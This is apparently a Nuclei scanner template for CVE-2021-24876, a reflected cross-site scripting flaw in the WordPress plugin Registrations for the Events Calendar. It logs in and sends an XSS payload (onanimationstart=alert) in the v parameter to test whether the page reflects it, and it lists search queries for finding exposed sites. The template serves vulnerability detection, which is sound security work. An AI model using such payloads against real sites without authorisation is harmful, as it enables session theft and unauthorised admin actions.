id: CVE-2021-24876

info:
  name: Registrations for The Events Calendar < 2.7.5 - Authenticated Reflected Cross-Site Scripting
  author: popcorn94
  severity: medium
  description: |
    The Registrations for the Events Calendar WordPress plugin before 2.7.5 does not escape the v parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS, potentially stealing administrator session cookies or performing administrative actions on behalf of authenticated users.
  remediation: Fixed in 2.7.5
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24876
    - https://wpscan.com/vulnerability/e77c2493-993d-418d-9629-a1f07b5a2b6f/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24876
    cwe-id: CWE-79
    epss-score: 0.00246
    epss-percentile: 0.4787
    cpe: cpe:2.3:a:roundupwp:registrations_for_the_events_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: roundupwp
    product: registrations_for_the_events_calendar
    framework: wordpress
    fofa-query: body="/wp-content/plugins/registrations-for-the-events-calendar/"
    publicwww-query: "/wp-content/plugins/registrations-for-the-events-calendar/"
  tags: cve,cve2021,wordpress,wpscan,wp-plugin,wp,registrations-for-the-events-calendar,xss,authenticated,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=registrations-for-the-events-calendar&tab=registrations&v="+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"style=animation-name:rotation onanimationstart=alert(document.domain)//", "<input type=\"hidden\" name=\"v\"","registrations-for-the-events-calendar")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502202b3e12fdfdcffc419b6fe22c9a6fcb265d8f75e856bea68ece6bf8363887320a022100e8adfcdf4e326d52d2b312c99c6609a4d72bd11c70c23cff1347546dfa8fd566:922c64590222798bb761d5b6d8e72950